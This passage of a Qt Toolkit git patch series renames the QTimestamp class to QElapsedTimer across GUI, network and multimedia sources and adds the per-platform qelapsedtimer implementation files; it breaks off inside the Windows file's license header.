elapsed; bool showWidget; QTimer anim; - QTimestamp checkTime; + QElapsedTimer checkTime; double windowOpacity; }; @@ -384,7 +384,7 @@ private: int orientation; QTimer anim; - QTimestamp checkTime; + QElapsedTimer checkTime; QPixmap pm; }; diff --git a/src/gui/widgets/qscrollbar.cpp b/src/gui/widgets/qscrollbar.cpp index 894300d..4ee9f27 100644 --- a/src/gui/widgets/qscrollbar.cpp +++ b/src/gui/widgets/qscrollbar.cpp @@ -47,7 +47,7 @@ #include "qstyle.h" #include "qstyleoption.h" #include "qmenu.h" -#include +#include #ifndef QT_NO_SCROLLBAR @@ -613,7 +613,7 @@ void QScrollBar::mousePressEvent(QMouseEvent *e) } const int initialDelay = 500; // default threshold d->activateControl(d->pressedControl, initialDelay); - QTimestamp time; + QElapsedTimer time; time.start(); repaint(style()->subControlRect(QStyle::CC_ScrollBar, &opt, d->pressedControl, this)); if (time.elapsed() >= initialDelay && d->repeatActionTimer.isActive()) { diff --git a/src/gui/widgets/qworkspace.cpp b/src/gui/widgets/qworkspace.cpp index b4e4cc4..7180c4d 100644 --- a/src/gui/widgets/qworkspace.cpp +++ b/src/gui/widgets/qworkspace.cpp @@ -58,7 +58,7 @@ #include "qscrollbar.h" #include "qstyle.h" #include "qstyleoption.h" -#include "qtimestamp.h" +#include "qelapsedtimer.h" #include "qtooltip.h" #include "qdebug.h" #include @@ -450,10 +450,10 @@ void QWorkspaceTitleBar::mousePressEvent(QMouseEvent *e) case QStyle::SC_TitleBarSysMenu: if (d->flags & Qt::WindowSystemMenuHint) { d->buttonDown = QStyle::SC_None; - static QTimestamp *t = 0; + static QElapsedTimer *t = 0; static QWorkspaceTitleBar *tc = 0; if (!t) - t = new QTimestamp; + t = new QElapsedTimer; if (tc != this || t->elapsed() > QApplication::doubleClickInterval()) { emit showOperationMenu(); t->start(); @@ -1839,7 +1839,7 @@ bool QWorkspace::event(QEvent *e) bool QWorkspace::eventFilter(QObject *o, QEvent * e) { Q_D(QWorkspace); - static QTimestamp* t = 0; + static QElapsedTimer* t = 0; static QWorkspace* tc = 0; if (o == d->maxtools) { switch (e->type()) { @@ -1847,7 +1847,7 @@ bool QWorkspace::eventFilter(QObject *o, QEvent * e) { QMenuBar* b = (QMenuBar*)o->parent(); if (!t) - t = new QTimestamp; + t = new QElapsedTimer; if (tc != this || t->elapsed() > QApplication::doubleClickInterval()) { if (isRightToLeft()) { QPoint p = b->mapToGlobal(QPoint(b->x() + b->width(), b->y() + b->height())); diff --git a/src/multimedia/audio/qaudioinput_alsa_p.h b/src/multimedia/audio/qaudioinput_alsa_p.h index 9a87691..c907019 100644 --- a/src/multimedia/audio/qaudioinput_alsa_p.h +++ b/src/multimedia/audio/qaudioinput_alsa_p.h @@ -61,7 +61,7 @@ #include #include #include -#include +#include #include #include @@ -117,8 +117,8 @@ private: void drain(); QTimer* timer; - QTimestamp timeStamp; - QTimestamp clockStamp; + QElapsedTimer timeStamp; + QElapsedTimer clockStamp; qint64 elapsedTimeOffset; int intervalTime; char* audioBuffer; diff --git a/src/multimedia/audio/qaudiooutput_alsa_p.h b/src/multimedia/audio/qaudiooutput_alsa_p.h index c655701..e6ac231 100644 --- a/src/multimedia/audio/qaudiooutput_alsa_p.h +++ b/src/multimedia/audio/qaudiooutput_alsa_p.h @@ -60,7 +60,7 @@ #include #include #include -#include +#include #include #include @@ -134,8 +134,8 @@ private: QTimer* timer; QByteArray m_device; int bytesAvailable; - QTimestamp timeStamp; - QTimestamp clockStamp; + QElapsedTimer timeStamp; + QElapsedTimer clockStamp; qint64 elapsedTimeOffset; char* audioBuffer; snd_pcm_t* handle; diff --git a/src/network/socket/qabstractsocket.cpp b/src/network/socket/qabstractsocket.cpp index fc50ee5..21cd0fd 100644 --- a/src/network/socket/qabstractsocket.cpp +++ b/src/network/socket/qabstractsocket.cpp @@ -370,7 +370,7 @@ #include #include #include -#include +#include #ifndef QT_NO_OPENSSL #include @@ -1738,7 +1738,7 @@ bool QAbstractSocket::waitForConnected(int msecs) bool wasPendingClose = d->pendingClose; d->pendingClose = false; - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); if (d->state == HostLookupState) { @@ -1819,7 +1819,7 @@ bool QAbstractSocket::waitForReadyRead(int msecs) return false; } - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); // handle a socket in connecting state @@ -1878,7 +1878,7 @@ bool QAbstractSocket::waitForBytesWritten(int msecs) if (d->writeBuffer.isEmpty()) return false; - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); // handle a socket in connecting state @@ -1960,7 +1960,7 @@ bool QAbstractSocket::waitForDisconnected(int msecs) return false; } - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); // handle a socket in connecting state diff --git a/src/network/socket/qhttpsocketengine.cpp b/src/network/socket/qhttpsocketengine.cpp index 9d412ac..dfda257 100644 --- a/src/network/socket/qhttpsocketengine.cpp +++ b/src/network/socket/qhttpsocketengine.cpp @@ -44,7 +44,7 @@ #include "qhostaddress.h" #include "qurl.h" #include "qhttp.h" -#include "qtimestamp.h" +#include "qelapsedtimer.h" #if !defined(QT_NO_NETWORKPROXY) && !defined(QT_NO_HTTP) #include @@ -319,7 +319,7 @@ bool QHttpSocketEngine::waitForRead(int msecs, bool *timedOut) if (!d->socket || d->socket->state() == QAbstractSocket::UnconnectedState) return false; - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); // Wait for more data if nothing is available. @@ -366,7 +366,7 @@ bool QHttpSocketEngine::waitForWrite(int msecs, bool *timedOut) return true; } - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); // If we're not connected yet, wait until we are, and until bytes have diff --git a/src/network/socket/qlocalsocket_unix.cpp b/src/network/socket/qlocalsocket_unix.cpp index 20301ba..f14decc 100644 --- a/src/network/socket/qlocalsocket_unix.cpp +++ b/src/network/socket/qlocalsocket_unix.cpp @@ -54,7 +54,7 @@ #include #include -#include +#include #ifdef Q_OS_VXWORKS # include @@ -534,7 +534,7 @@ bool QLocalSocket::waitForConnected(int msec) int result = -1; // on Linux timeout will be updated by select, but _not_ on other systems. - QTimestamp timer; + QElapsedTimer timer; timer.start(); while (state() == ConnectingState && (-1 == msec || timer.elapsed() < msec)) { diff --git a/src/network/socket/qnativesocketengine_unix.cpp b/src/network/socket/qnativesocketengine_unix.cpp index 7c1fc17..6c800fe 100644 --- a/src/network/socket/qnativesocketengine_unix.cpp +++ b/src/network/socket/qnativesocketengine_unix.cpp @@ -44,7 +44,7 @@ #include "private/qnet_unix_p.h" #include "qiodevice.h" #include "qhostaddress.h" -#include "qtimestamp.h" +#include "qelapsedtimer.h" #include "qvarlengtharray.h" #include #include @@ -1003,7 +1003,7 @@ int QNativeSocketEnginePrivate::nativeSelect(int timeout, bool checkRead, bool c #ifndef Q_OS_SYMBIAN ret = qt_safe_select(socketDescriptor + 1, &fdread, &fdwrite, 0, timeout < 0 ? 0 : &tv); #else - QTimestamp timer; + QElapsedTimer timer; timer.start(); do { diff --git a/src/network/socket/qsocks5socketengine.cpp b/src/network/socket/qsocks5socketengine.cpp index 0c6a01a..f68edfe 100644 --- a/src/network/socket/qsocks5socketengine.cpp +++ b/src/network/socket/qsocks5socketengine.cpp @@ -49,7 +49,7 @@ #include "qdebug.h" #include "qhash.h" #include "qqueue.h" -#include "qtimestamp.h" +#include "qelapsedtimer.h" #include "qmutex.h" #include "qthread.h" #include "qcoreapplication.h" @@ -308,7 +308,7 @@ struct QSocks5BindData : public QSocks5Data quint16 localPort; QHostAddress peerAddress; quint16 peerPort; - QTimestamp timeStamp; + QElapsedTimer timeStamp; }; struct QSocks5RevivedDatagram @@ -1355,7 +1355,7 @@ bool QSocks5SocketEngine::bind(const QHostAddress &address, quint16 port) } int msecs = SOCKS5_BLOCKING_BIND_TIMEOUT; - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); d->data->controlSocket->connectToHost(d->proxyInfo.hostName(), d->proxyInfo.port()); if (!d->waitForConnected(msecs, 0) || @@ -1455,7 +1455,7 @@ void QSocks5SocketEngine::close() if (d->data && d->data->controlSocket) { if (d->data->controlSocket->state() == QAbstractSocket::ConnectedState) { int msecs = 100; - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); while (!d->data->controlSocket->bytesToWrite()) { if (!d->data->controlSocket->waitForBytesWritten(qt_timeout_value(msecs, stopWatch.elapsed()))) @@ -1674,7 +1674,7 @@ bool QSocks5SocketEnginePrivate::waitForConnected(int msecs, bool *timedOut) mode == BindMode ? BindSuccess : UdpAssociateSuccess; - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); while (socks5State != wantedState) { @@ -1699,7 +1699,7 @@ bool QSocks5SocketEngine::waitForRead(int msecs, bool *timedOut) d->readNotificationActivated = false; - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); // are we connected yet? @@ -1749,7 +1749,7 @@ bool QSocks5SocketEngine::waitForWrite(int msecs, bool *timedOut) Q_D(QSocks5SocketEngine); QSOCKS5_DEBUG << "waitForWrite" << msecs; - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); // are we connected yet? diff --git a/src/network/ssl/qsslsocket.cpp b/src/network/ssl/qsslsocket.cpp index 895e32c..86b11b9 100644 --- a/src/network/ssl/qsslsocket.cpp +++ b/src/network/ssl/qsslsocket.cpp @@ -287,7 +287,7 @@ #include #include #include -#include +#include #include #include @@ -1393,7 +1393,7 @@ bool QSslSocket::waitForEncrypted(int msecs) if (d->mode == UnencryptedMode && !d->autoStartHandshake) return false; - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); if (d->plainSocket->state() != QAbstractSocket::ConnectedState) { @@ -1433,7 +1433,7 @@ bool QSslSocket::waitForReadyRead(int msecs) bool *previousReadyReadEmittedPointer = d->readyReadEmittedPointer; d->readyReadEmittedPointer = &readyReadEmitted; - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); if (!d->connectionEncrypted) { @@ -1470,7 +1470,7 @@ bool QSslSocket::waitForBytesWritten(int msecs) if (d->mode == UnencryptedMode) return d->plainSocket->waitForBytesWritten(msecs); - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); if (!d->connectionEncrypted) { @@ -1508,7 +1508,7 @@ bool QSslSocket::waitForDisconnected(int msecs) if (d->mode == UnencryptedMode) return d->plainSocket->waitForDisconnected(msecs); - QTimestamp stopWatch; + QElapsedTimer stopWatch; stopWatch.start(); if (!d->connectionEncrypted) { diff --git a/src/testlib/qtestsystem.h b/src/testlib/qtestsystem.h index 54da114..82d69d6 100644 --- a/src/testlib/qtestsystem.h +++ b/src/testlib/qtestsystem.h @@ -44,7 +44,7 @@ #include #include -#include +#include QT_BEGIN_HEADER @@ -63,7 +63,7 @@ namespace QTest { Q_ASSERT(QCoreApplication::instance()); - QTimestamp timer; + QElapsedTimer timer; timer.start(); do { QCoreApplication::processEvents(QEventLoop::AllEvents, ms); -- cgit v0.12 From 7f3c9feaaf67ce7e89cd2f9df2155c61a58acaed Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 26 Feb 2010 15:02:56 +0100 Subject: Rename the files too --- src/corelib/tools/qelapsedtimer.cpp | 65 ++++++++++ src/corelib/tools/qelapsedtimer.h | 85 +++++++++++++ src/corelib/tools/qelapsedtimer_generic.cpp | 91 +++++++++++++ src/corelib/tools/qelapsedtimer_mac.cpp | 115 +++++++++++++++++ src/corelib/tools/qelapsedtimer_symbian.cpp | 106 ++++++++++++++++ src/corelib/tools/qelapsedtimer_unix.cpp | 169 +++++++++++++++++++++++++ src/corelib/tools/qelapsedtimer_win.cpp | 129 +++++++++++++++++++ src/corelib/tools/qtimestamp.cpp | 65 ---------- src/corelib/tools/qtimestamp.h | 85 ------------- src/corelib/tools/qtimestamp_generic.cpp | 91 ------------- src/corelib/tools/qtimestamp_mac.cpp | 115 ----------------- src/corelib/tools/qtimestamp_symbian.cpp | 106 ---------------- src/corelib/tools/qtimestamp_unix.cpp | 169 ------------------------- src/corelib/tools/qtimestamp_win.cpp | 129 ------------------- tests/auto/qelapsedtimer/qelapsedtimer.pro | 13 ++ tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp | 94 ++++++++++++++ tests/auto/qtimestamp/qtimestamp.pro | 13 -- tests/auto/qtimestamp/tst_qtimestamp.cpp | 94 -------------- 18 files changed, 867 insertions(+), 867 deletions(-) create mode 100644 src/corelib/tools/qelapsedtimer.cpp create mode 100644 src/corelib/tools/qelapsedtimer.h create mode 100644 src/corelib/tools/qelapsedtimer_generic.cpp create mode 100644 src/corelib/tools/qelapsedtimer_mac.cpp create mode 100644 src/corelib/tools/qelapsedtimer_symbian.cpp create mode 100644 src/corelib/tools/qelapsedtimer_unix.cpp create mode 100644 src/corelib/tools/qelapsedtimer_win.cpp delete mode 100644 src/corelib/tools/qtimestamp.cpp delete mode 100644 src/corelib/tools/qtimestamp.h delete mode 100644 src/corelib/tools/qtimestamp_generic.cpp delete mode 100644 src/corelib/tools/qtimestamp_mac.cpp delete mode 100644 src/corelib/tools/qtimestamp_symbian.cpp delete mode 100644 src/corelib/tools/qtimestamp_unix.cpp delete mode 100644 src/corelib/tools/qtimestamp_win.cpp create mode 100644 tests/auto/qelapsedtimer/qelapsedtimer.pro create mode 100644 tests/auto/qelapsedtimer/tst_qelapsedtimer.cpp delete mode 100644 tests/auto/qtimestamp/qtimestamp.pro delete mode 100644 tests/auto/qtimestamp/tst_qtimestamp.cpp diff --git a/src/corelib/tools/qelapsedtimer.cpp b/src/corelib/tools/qelapsedtimer.cpp new file mode 100644 index 0000000..220b108 --- /dev/null +++ b/src/corelib/tools/qelapsedtimer.cpp @@ -0,0 +1,65 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtCore module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qelapsedtimer.h" + +QT_BEGIN_NAMESPACE + +static const qint64 invalidData = Q_INT64_C(0x8000000000000000); + +void QElapsedTimer::invalidate() +{ + t1 = t2 = invalidData; +} + +bool QElapsedTimer::isValid() const +{ + return t1 != invalidData && t2 != invalidData; +} + +bool QElapsedTimer::hasExpired(qint64 timeout) const +{ + // if timeout is -1, quint64(timeout) is LLINT_MAX, so this will be + // considered as never expired + return quint64(elapsed()) > quint64(timeout); +} + +QT_END_NAMESPACE diff --git a/src/corelib/tools/qelapsedtimer.h b/src/corelib/tools/qelapsedtimer.h new file mode 100644 index 0000000..4fa0ca5 --- /dev/null +++ b/src/corelib/tools/qelapsedtimer.h @@ -0,0 +1,85 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtCore module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QTIMESTAMP_H +#define QTIMESTAMP_H + +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Core) + +class Q_CORE_EXPORT QElapsedTimer +{ +public: + static bool isMonotonic(); + + void start(); + qint64 restart(); + void invalidate(); + bool isValid() const; + + qint64 elapsed() const; + bool hasExpired(qint64 timeout) const; + + qint64 msecsTo(const QElapsedTimer &other) const; + qint64 secsTo(const QElapsedTimer &other) const; + + bool operator==(const QElapsedTimer &other) const + { return t1 == other.t1 && t2 == other.t2; } + bool operator!=(const QElapsedTimer &other) const + { return !(*this == other); } + + friend bool Q_CORE_EXPORT operator<(const QElapsedTimer &v1, const QElapsedTimer &v2); + +private: + qint64 t1; + qint64 t2; +}; + +QT_END_NAMESPACE + +QT_END_HEADER + +#endif // QTIMESTAMP_H diff --git a/src/corelib/tools/qelapsedtimer_generic.cpp b/src/corelib/tools/qelapsedtimer_generic.cpp new file mode 100644 index 0000000..a9c2233 --- /dev/null +++ b/src/corelib/tools/qelapsedtimer_generic.cpp @@ -0,0 +1,91 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtCore module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qelapsedtimer.h" +#include "qdatetime.h" + +QT_BEGIN_NAMESPACE + +bool QElapsedTimer::isMonotonic() +{ + return false; +} + +void QElapsedTimer::start() +{ + QTime t = QTime::currentTime(); + t1 = t.mds; + t2 = 0; +} + +qint64 QElapsedTimer::restart() +{ + QTime t = QTime::currentTime(); + qint64 old = t1; + t1 = t.mds; + return t1 - old; +} + +qint64 QElapsedTimer::elapsed() const +{ + QTime t = QTime::currentTime(); + return t.mds - t1; +} + +qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const +{ + qint64 diff = other.t1 - t1; + if (diff < 0) // passed midnight + diff += 86400 * 1000; + return diff; +} + +qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const +{ + return msecsTo(other) / 1000; +} + +bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) +{ + return v1.t1 < v2.t1; +} + +QT_END_NAMESPACE diff --git a/src/corelib/tools/qelapsedtimer_mac.cpp b/src/corelib/tools/qelapsedtimer_mac.cpp new file mode 100644 index 0000000..21a6d1b --- /dev/null +++ b/src/corelib/tools/qelapsedtimer_mac.cpp @@ -0,0 +1,115 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtCore module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qelapsedtimer.h" +#include +#include + +#include + +QT_BEGIN_NAMESPACE + +bool QElapsedTimer::isMonotonic() +{ + return true; +} + +static mach_timebase_info_data_t info = {0,0}; +static qint64 absoluteToNSecs(qint64 cpuTime) +{ + if (info.denom == 0) + mach_timebase_info(&info); + qint64 nsecs = cpuTime * info.numer / info.denom; + return nsecs; +} + +static qint64 absoluteToMSecs(qint64 cpuTime) +{ + return absoluteToNSecs(cpuTime) / 1000000; +} + +timeval qt_gettime() +{ + timeval tv; + + uint64_t cpu_time = mach_absolute_time(); + uint64_t nsecs = absoluteToNSecs(cpu_time); + tv.tv_sec = nsecs / 1000000000ull; + tv.tv_usec = (nsecs / 1000) - (tv.tv_sec * 1000000); + return tv; +} + +void QElapsedTimer::start() +{ + t1 = mach_absolute_time(); + t2 = 0; +} + +qint64 QElapsedTimer::restart() +{ + qint64 old = t1; + t1 = mach_absolute_time(); + + return absoluteToMSecs(t1 - old); +} + +qint64 QElapsedTimer::elapsed() const +{ + uint64_t cpu_time = mach_absolute_time(); + return absoluteToMSecs(cpu_time - t1); +} + +qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const +{ + return absoluteToMSecs(other.t1 - t1); +} + +qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const +{ + return msecsTo(other) / 1000; +} + +bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) +{ + return v1.t1 < v2.t1; +} + +QT_END_NAMESPACE diff --git a/src/corelib/tools/qelapsedtimer_symbian.cpp b/src/corelib/tools/qelapsedtimer_symbian.cpp new file mode 100644 index 0000000..1fbba65 --- /dev/null +++ b/src/corelib/tools/qelapsedtimer_symbian.cpp @@ -0,0 +1,106 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtCore module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qelapsedtimer.h" +#include + +QT_BEGIN_NAMESPACE + +// return quint64 to avoid sign-extension +static quint64 getMillisecondFromTick() +{ + static TInt nanokernel_tick_period; + if (!nanokernel_tick_period) + HAL::Get(HAL::ENanoTickPeriod, nanokernel_tick_period); + return nanokernel_tick_period * User::NTickCount(); +} + +static qint64 difference(qint64 a, qint64 b) +{ + qint64 retval = a - b; + // there can be 32-bit rollover + // assume there were rollovers if the difference is negative by more than + // 75% of the 32-bit range + + if (retval < Q_INT64_C(-0xc0000000)) + retval += Q_UINT64_C(0x100000000); + return retval; +} + +bool QElapsedTimer::isMonotonic() +{ + return true; +} + +void QElapsedTimer::start() +{ + t1 = getMillisecondFromTick(); + t2 = 0; +} + +qint64 QElapsedTimer::restart() +{ + qint64 oldt1 = t1; + t1 = getMillisecondFromTick(); + return difference(t1, oldt1); +} + +qint64 QElapsedTimer::elapsed() const +{ + return difference(getMillisecondFromTick(), t1); +} + +qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const +{ + return difference(other.t1, t1); +} + +qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const +{ + return msecsTo(other) / 1000; +} + +bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) +{ + return difference(v1.t1, v2.t1) < 0; +} + +QT_END_NAMESPACE diff --git a/src/corelib/tools/qelapsedtimer_unix.cpp b/src/corelib/tools/qelapsedtimer_unix.cpp new file mode 100644 index 0000000..b8215f4 --- /dev/null +++ b/src/corelib/tools/qelapsedtimer_unix.cpp @@ -0,0 +1,169 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtCore module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qelapsedtimer.h" +#include "qpair.h" +#include +#include +#include + +#if !defined(QT_NO_CLOCK_MONOTONIC) +# if defined(QT_BOOTSTRAPPED) +# define QT_NO_CLOCK_MONOTONIC +# endif +#endif + +QT_BEGIN_NAMESPACE + +static qint64 fractionAdjustment() +{ + if (QElapsedTimer::isMonotonic()) { + // the monotonic timer is measured in nanoseconds + // 1 ms = 1000000 ns + return 1000*1000ull; + } else { + // gettimeofday is measured in microseconds + // 1 ms = 1000 us + return 1000; + } +} + +bool QElapsedTimer::isMonotonic() +{ +#if (_POSIX_MONOTONIC_CLOCK-0 > 0) + return true; +#else + static int returnValue = 0; + + if (returnValue == 0) { +# if (_POSIX_MONOTONIC_CLOCK-0 < 0) + returnValue = -1; +# elif (_POSIX_MONOTONIC_CLOCK == 0) + // detect if the system support monotonic timers + long x = sysconf(_SC_MONOTONIC_CLOCK); + returnValue = (x >= 200112L) ? 1 : -1; +# endif + } + + return returnValue != -1; +#endif +} + +static inline QPair do_gettime() +{ +#if (_POSIX_MONOTONIC_CLOCK-0 > 0) + timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + return qMakePair(ts.tv_sec, ts.tv_nsec); +#else +# if !defined(QT_NO_CLOCK_MONOTONIC) && !defined(QT_BOOTSTRAPPED) + if (QElapsedTimer::isMonotonic()) { + timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + return qMakePair(ts.tv_sec, ts.tv_nsec); + } +# endif + // use gettimeofday + timeval tv; + ::gettimeofday(&tv, 0); + return qMakePair(tv.tv_sec, tv.tv_usec); +#endif +} + +// used in qcore_unix.cpp and qeventdispatcher_unix.cpp +timeval qt_gettime() +{ + QPair r = do_gettime(); + + timeval tv; + tv.tv_sec = r.first; + tv.tv_usec = r.second; + if (QElapsedTimer::isMonotonic()) + tv.tv_usec /= 1000; + + return tv; +} + +void QElapsedTimer::start() +{ + QPair r = do_gettime(); + t1 = r.first; + t2 = r.second; +} + +qint64 QElapsedTimer::restart() +{ + QPair r = do_gettime(); + qint64 oldt1 = t1; + qint64 oldt2 = t2; + t1 = r.first; + t2 = r.second; + + r.first -= oldt1; + r.second -= oldt2; + return r.first * 1000 + r.second / fractionAdjustment(); +} + +qint64 QElapsedTimer::elapsed() const +{ + QElapsedTimer now; + now.start(); + return msecsTo(now); +} + +qint64 QElapsedTimer::msecsTo(const QElapsedTimer &other) const +{ + qint64 secs = other.t1 - t1; + qint64 fraction = other.t2 - t2; + return secs * 1000 + fraction / fractionAdjustment(); +} + +qint64 QElapsedTimer::secsTo(const QElapsedTimer &other) const +{ + return other.t1 - t1; +} + +bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2) +{ + return v1.t1 < v2.t1 || (v1.t1 == v2.t1 && v1.t2 < v2.t2); +} + +QT_END_NAMESPACE diff --git a/src/corelib/tools/qelapsedtimer_win.cpp b/src/corelib/tools/qelapsedtimer_win.cpp new file mode 100644 index 0000000..e384dd8 --- /dev/null +++ b/src/corelib/tools/qelapsedtimer_win.cpp @@ -0,0 +1,129 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation 